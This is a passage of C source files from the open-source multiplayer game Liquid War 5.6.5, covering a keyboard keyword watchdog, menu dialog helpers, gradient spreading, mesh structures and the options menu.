WATCHDOG_SCANCODE[WATCHDOG_BUFFER[i] >> 8] = 1; } } /*------------------------------------------------------------------*/ void watchdog_reset () { WATCHDOG_KEYS_IN_BUFFER = 0; watchdog_update (); } /*------------------------------------------------------------------*/ int watchdog_is_keyword (char *keyword) { int i, j, l, n, found = 0; char pattern[WATCHDOG_MAX_WORD + 1]; LW_MACRO_SPRINTF2 (pattern, "%s%s", WATCHDOG_KEYWORD, keyword); l = strlen (pattern); n = WATCHDOG_KEYS_IN_BUFFER - l + 1; for (i = 0; i < n && !found; ++i) { j = 0; while (pattern[j] && pattern[j] == ((char) WATCHDOG_BUFFER[i + j] & 0xFF)) { j++; } found = !pattern[j]; } if (found) WATCHDOG_BUFFER[i] |= 0xFF; return found; } liquidwar-5.6.5/src/dialog.c0000664000372000037200000002665013407756104015344 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : dialog.c */ /* contenu : utilitaires gui */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #ifdef UNIX #include #endif #include "dialog.h" #include "sound.h" #include "back.h" #include "lang.h" #include "exit.h" #include "keyboard.h" #include "capture.h" #include "joystick.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int menu_real_x (int x) { return ((x * SCREEN_W) / MENU_VIRTUAL_W); } /*------------------------------------------------------------------*/ int menu_real_y (int y) { return ((y * SCREEN_H) / MENU_VIRTUAL_H); } /*------------------------------------------------------------------*/ void menu_real_coord (DIALOG * d) { d->x = menu_real_x (d->x); d->y = menu_real_y (d->y); d->w = menu_real_x (d->w); d->h = menu_real_y (d->h); } /*------------------------------------------------------------------*/ /* gestion generique des menus */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ int find_center (int pos, int num, int space, int size) { int center; center = (size - num * space) / 2; center += pos * space + space / 2; return center; } /*------------------------------------------------------------------*/ void color_one_dialog (DIALOG * d) { d->fg = MENU_FG; d->bg = MENU_BG; } /*------------------------------------------------------------------*/ void center_one_dialog (DIALOG * d, int x, int y, int w, int h) { d->x = x - w / 2; d->y = y - h / 2; d->w = w; d->h = h; } /*------------------------------------------------------------------*/ void quick_buttons (DIALOG * d) { int i; d[MENU_QUICK_QUIT].dp = lw_lang_string (LW_LANG_STRING_DIALOG_QUIT); d[MENU_QUICK_BACK].dp = lw_lang_string (LW_LANG_STRING_DIALOG_BACK); d[MENU_QUICK_PLAY].dp = lw_lang_string (LW_LANG_STRING_DIALOG_PLAY); d[MENU_QUICK_MAIN].dp = lw_lang_string (LW_LANG_STRING_DIALOG_MAIN); d[MENU_QUICK_QUIT].key = 'q'; d[MENU_QUICK_BACK].key = 'b'; d[MENU_QUICK_PLAY].key = 'h'; d[MENU_QUICK_MAIN].key = 'm'; d[MENU_QUICK_BACK].x = d[MENU_QUICK_QUIT].x = MENU_W_SPACE / 2; d[MENU_QUICK_PLAY].x = d[MENU_QUICK_MAIN].x = MENU_VIRTUAL_W - 1 - MENU_W_SPACE / 2 - MENU_W_QUICK; d[MENU_QUICK_BACK].y = d[MENU_QUICK_PLAY].y = MENU_H_SPACE / 2; d[MENU_QUICK_QUIT].y = d[MENU_QUICK_MAIN].y = MENU_VIRTUAL_H - 1 - MENU_H_SPACE / 2 - MENU_H_QUICK; for (i = 0; i < 4; ++i) { d[i].proc = my_button_proc; d[i].flags = D_EXIT; d[i].h = MENU_H_QUICK; d[i].w = MENU_W_QUICK; color_one_dialog (d + i); menu_real_coord (d + i); } } /*------------------------------------------------------------------*/ void standard_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num) { d->proc = my_button_proc; center_one_dialog (d, find_center (x_pos, x_num, MENU_W_STANDARD + MENU_W_SPACE, MENU_VIRTUAL_W), find_center (y_pos, y_num, MENU_H_STANDARD + MENU_H_SPACE, MENU_VIRTUAL_H), MENU_W_STANDARD, MENU_H_STANDARD); color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } /*------------------------------------------------------------------*/ void standard_small_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num) { d->proc = my_button_proc; center_one_dialog (d, find_center (x_pos, x_num, MENU_W_STANDARD / 2 + MENU_W_SPACE, MENU_VIRTUAL_W), find_center (y_pos, y_num, MENU_H_STANDARD + MENU_H_SPACE, MENU_VIRTUAL_H), MENU_W_STANDARD / 2, MENU_H_STANDARD); color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } /*------------------------------------------------------------------*/ void standard_big_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num) { d->proc = my_button_proc; center_one_dialog (d, find_center (x_pos, x_num, MENU_W_STANDARD * 2 + MENU_W_SPACE, MENU_VIRTUAL_W), find_center (y_pos, y_num, MENU_H_STANDARD + MENU_H_SPACE, MENU_VIRTUAL_H), MENU_W_STANDARD * 2, MENU_H_STANDARD); color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } /*------------------------------------------------------------------*/ void main_message (DIALOG * d, char *str) { standard_big_button (d, 0, 0, 1, 1); d->dp = str; d->key = 0; d->proc = my_textbox_proc; d->flags = 0; } /*------------------------------------------------------------------*/ void main_info (DIALOG * d, char *str) { color_one_dialog (d); d->proc = my_textbox_proc; d->dp = str; d->key = 0; d->flags = 0; } /*------------------------------------------------------------------*/ DIALOG_PLAYER * my_init_dialog (DIALOG * d, int f) { DIALOG_PLAYER *dp; lw_keyboard_reset_hack (); dp = init_dialog (d, f); return dp; } /*------------------------------------------------------------------*/ int my_do_dialog_no_clear (DIALOG * d, int f) { int result; void *player; player = my_init_dialog (d, f); while (my_update_dialog (player)) { /* * Nothing here... */ } result = shutdown_dialog (player); play_click (); return result; } /*------------------------------------------------------------------*/ int my_do_dialog (DIALOG * d, int f) { int result; display_back_image (); result = my_do_dialog_no_clear (d, f); return result; } /*------------------------------------------------------------------*/ int my_update_dialog (DIALOG_PLAYER * player) { int result; result = update_dialog (player); lw_capture_dump_menu (); my_poll_joystick (); my_exit_poll (); #ifdef UNIX /* * The usleep calls prevents the game from eating 100% of the * CPU time on UNIX platforms. */ usleep (100); #endif //yield_timeslice (); deprecated rest (0); return result; } /*------------------------------------------------------------------*/ void display_center_message (char *str) { DIALOG d[2]; DIALOG_PLAYER *dp; memset (d, 0, sizeof (d)); display_back_image (); main_message (d, str); d[1].proc = 0; dp = my_init_dialog (d, 0); my_update_dialog (dp); shutdown_dialog (dp); /* * We wait a little bit, so that the player can see the message */ //rest(100); } /*------------------------------------------------------------------*/ int slider_int (void *dp3, int d2) { int *val; val = dp3; *val = d2; play_click (); return 0; } liquidwar-5.6.5/src/move.h0000664000372000037200000001030513407756104015046 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : move.h */ /* contenu : deplacement des curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MOVE #define LIQUID_WAR_INCLUDE_MOVE /*==================================================================*/ /* constantes */ /*==================================================================*/ /* * these constants are combined with a logic "or" to produce a * "key state" value which is used to move the cursors. */ #define CURSOR_KEY_UP 1 #define CURSOR_KEY_RIGHT 2 #define CURSOR_KEY_DOWN 4 #define CURSOR_KEY_LEFT 8 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void move_all_cursors (void); #endif liquidwar-5.6.5/src/grad.c0000664000372000037200000002152513407756104015016 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : grad.c */ /* contenu : etalement des gradients */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "alleg2.h" #include "area.h" #include "decal.h" #include "grad.h" #include "mesh.h" #include "palette.h" #include "spread.h" #include "startup.h" #include "time.h" #include "config.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define OFFSET_TO_FIRST_LINK 56 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ BITMAP * create_gradient_bitmap (int team) { BITMAP *result; int x, y, i, color; MESH *temp; result = my_create_bitmap (CURRENT_AREA_W, CURRENT_AREA_H); if (result) { i = 0; for (y = 0; y < CURRENT_AREA_H; ++y) for (x = 0; x < CURRENT_AREA_W; ++x) { if ((temp = CURRENT_AREA[i++].mesh) != NULL) { color = (temp->info[team].state.grad + AREA_START_GRADIENT) % COLORS_PER_TEAM; putpixel (result, x, y, color + COLOR_FIRST_ENTRY[team]); } else putpixel (result, x, y, MENU_BG); } } return result; } /*------------------------------------------------------------------*/ BITMAP * create_dir_bitmap (int team) { BITMAP *result; int x, y, i; MESH *temp; result = my_create_bitmap (CURRENT_AREA_W, CURRENT_AREA_H); i = 0; for (y = 0; y < CURRENT_AREA_H; ++y) for (x = 0; x < CURRENT_AREA_W; ++x) { if ((temp = CURRENT_AREA[i++].mesh) != NULL) putpixel (result, x, y, 134 + (temp->info[team].state.dir / 4) * 42 + (temp->info[team].state.dir % 4) * 10); } return result; } /*------------------------------------------------------------------*/ /* etalement des gradients */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ void spread_single_gradient (void) { int i, new_grad, dir; MESH *pos, *last; MESH *temp; dir = (GLOBAL_CLOCK * 7) % NB_DIRS; switch (dir) { case DIR_ENE: case DIR_ESE: case DIR_SE: case DIR_SSE: case DIR_SSW: case DIR_SW: pos = CURRENT_MESH; last = CURRENT_MESH + CURRENT_MESH_SIZE; #ifdef ASM if (STARTUP_ASM && LW_CONFIG_CURRENT_RULES.asm_algorithm) switch (PLAYING_TEAMS) { case 6: boost_gradient_down_6 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 5: boost_gradient_down_5 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 4: boost_gradient_down_4 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 3: boost_gradient_down_3 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; default: boost_gradient_down_2 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; } else #endif while (pos != last) { for (i = 0; i < PLAYING_TEAMS; ++i) if ((temp = (pos->link[dir])) && (temp->info[i].state.grad > (new_grad = pos->info[i].state.grad + pos->side.size))) temp->info[i].state.grad = new_grad; pos++; } break; case DIR_WSW: case DIR_WNW: case DIR_NW: case DIR_NNW: case DIR_NNE: case DIR_NE: pos = CURRENT_MESH + CURRENT_MESH_SIZE - 1; last = CURRENT_MESH - 1; #ifdef ASM if (STARTUP_ASM && LW_CONFIG_CURRENT_RULES.asm_algorithm) switch (PLAYING_TEAMS) { case 6: boost_gradient_up_6 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 5: boost_gradient_up_5 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 4: boost_gradient_up_4 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; case 3: boost_gradient_up_3 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; default: boost_gradient_up_2 (pos, CURRENT_MESH_SIZE - 1, OFFSET_TO_FIRST_LINK + dir * 4); break; } else #endif while (pos != last) { for (i = 0; i < PLAYING_TEAMS; ++i) if ((temp = (pos->link[dir])) && (temp->info[i].state.grad > (new_grad = pos->info[i].state.grad + pos->side.size))) temp->info[i].state.grad = new_grad; pos--; } break; } } liquidwar-5.6.5/src/mesh.h0000664000372000037200000001276113407756104015044 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : mesh.h */ /* contenu : calcul du maillage */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MESH #define LIQUID_WAR_INCLUDE_MESH /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "base.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* types */ /*==================================================================*/ typedef union { int time; struct { short x; short y; } cursor; } MESH_UPDATE; typedef struct { int dir:8; int grad:24; } MESH_STATE; typedef struct { MESH_UPDATE update; MESH_STATE state; } MESH_INFO; typedef struct { // char decal_for_dir :8; -> causes GPF under Win32. // MSVC allocates 64 bits for the struct if decal_for_dir // is declared as a char, and 32 bit if it's declared // as an int. Go figure... int decal_for_dir:8; int size:24; } MESH_SIDE; typedef struct { short x; short y; MESH_SIDE side; MESH_INFO info[NB_TEAMS]; void *link[NB_DIRS]; } MESH; /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern MESH *CURRENT_MESH; extern int CURRENT_MESH_SIZE; extern int CURRENT_AREA_W; extern int CURRENT_AREA_H; extern BITMAP *CURRENT_AREA_DISP; extern BITMAP *CURRENT_AREA_BACK; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_mesh (void); void test_mesh (void); int create_mesh (void); BITMAP *create_mesh_bitmap (int mode); #endif liquidwar-5.6.5/src/dialog.h0000664000372000037200000001334413407756104015345 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : dialog.h */ /* contenu : utilitaires gui */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DIALOG #define LIQUID_WAR_INCLUDE_DIALOG /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "alleg2.h" #include "palette.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define BUFFER_EDIT_NUMBER 33 #define MENU_TOP -1 #define MENU_EXIT -2 #define MENU_PLAY -3 #define MENU_OK -4 #define MENU_QUICK_QUIT 0 #define MENU_QUICK_PLAY 1 #define MENU_QUICK_MAIN 2 #define MENU_QUICK_BACK 3 #define MENU_VIRTUAL_W 320 #define MENU_VIRTUAL_H 240 #define MENU_H_STANDARD 15 #define MENU_H_QUICK 15 #define MENU_H_SPACE 3 #define MENU_H_LEVEL 15 #define MENU_H_SAMPLE 120 #define MENU_H_TEAM 90 #define MENU_H_INTERNET_LIST 175 #define MENU_W_STANDARD 100 #define MENU_W_QUICK 60 #define MENU_W_SPACE 3 #define MENU_W_LEVEL 40 #define MENU_W_SAMPLE 160 #define MENU_W_TEAM 75 #define MENU_W_INTERNET_LIST 150 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int menu_real_x (int x); int menu_real_y (int y); void menu_real_coord (DIALOG * d); int find_center (int pos, int num, int space, int size); void color_one_dialog (DIALOG * d); void center_one_dialog (DIALOG * d, int x, int y, int w, int h); void quick_buttons (DIALOG * d); void standard_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num); void standard_small_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num); void standard_big_button (DIALOG * d, int x_pos, int y_pos, int x_num, int y_num); void main_message (DIALOG * d, char *str); void main_info (DIALOG * d, char *str); DIALOG_PLAYER *my_init_dialog (DIALOG * d, int f); int my_do_dialog_no_clear (DIALOG * d, int f); int my_do_dialog (DIALOG * d, int f); int my_update_dialog (DIALOG_PLAYER * d); void display_center_message (char *str); int slider_int (void *dp3, int d2); #endif liquidwar-5.6.5/src/options.c0000664000372000037200000001641413407756104015575 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : options.c */ /* contenu : choix des options */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "disk.h" #include "graphics.h" #include "help.h" #include "menu.h" #include "options.h" #include "sound.h" #include "rules.h" #include "volume.h" #include "speeds.h" #include "language.h" #include "controls.h" #include "lang.h" #include "gfxmode.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int options (void) { DIALOG d[12]; DIALOG_PLAYER *dp; int i, choix = 4, retour = 0; int old_gfx_menu; int old_fullscreen; int gfxmode_change = 0; memset (d, 0, sizeof (d)); while (retour == 0) { for (i = 0; i < 6; ++i) standard_button (d + i + 4, 0, i, 1, 8); standard_button (d + 10, 0, 7, 1, 8); quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_GRAPHICS); d[5].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_SOUND); d[6].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_RULES); d[7].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_SPEEDS); d[8].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_CONTROLS); d[9].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_LANGUAGE); d[10].dp = lw_lang_string (LW_LANG_STRING_OPTIONS_DEFAULT); d[11].proc = 0; old_gfx_menu = CONFIG_GFX_MENU; old_fullscreen = CONFIG_FULLSCREEN; display_back_image (); if (gfxmode_change) { gfxmode_change = 0; display_back_image (); dp = my_init_dialog (d, choix); my_fade_in (); } else { dp = my_init_dialog (d, choix); } show_mouse (screen); while (my_update_dialog (dp)) ; choix = shutdown_dialog (dp); play_click (); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 4: retour = graphic_options (); break; case 5: retour = sound_options (); break; case 6: retour = rules_options (); break; case 7: retour = speeds_options (); break; case 8: retour = controls_options (); break; case 9: retour = language_options (); break; case 10: load_default_options (); /* * The volume might have changed, so we update it */ WATER_VOLUME = CONFIG_WATER_VOLUME_MENU; /* * If the graphics settings changed, we reflect them */ if (old_gfx_menu != CONFIG_GFX_MENU || old_fullscreen != CONFIG_FULLSCREEN) { gfxmode_change = 1; set_resolution (CONFIG_GFX_MENU, 0, CONFIG_FULLSCREEN, NULL); } retour = 0; break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/team.h0000664000372000037200000001025313407756104015030 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : team.h */ /* contenu : choix des equipes */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_TEAM #define LIQUID_WAR_INCLUDE_TEAM /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int choose_teams (void); #endif liquidwar-5.6.5/src/startup.c0000664000372000037200000003535513407756104015611 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : startup.c */ /* contenu : parametres de demarrage */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "parser.h" #include "startup.h" #include "server.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define IDENT_MEM "mem" #define IDENT_NOBACK "noback" #define IDENT_NOTEXTURE "notex" #define IDENT_NOWATER "nowater" #define IDENT_NOSFX "nosfx" #define IDENT_NOMUSIC "nomusic" #define IDENT_NOCUSTOM "nocustom" #define IDENT_NOSOUND "silent" #define IDENT_NOSVGA "vga" #define IDENT_NOASM "c" #define IDENT_NOJOY "nojoy" #define IDENT_STOP "stop" #define IDENT_SAFE "safe" #define 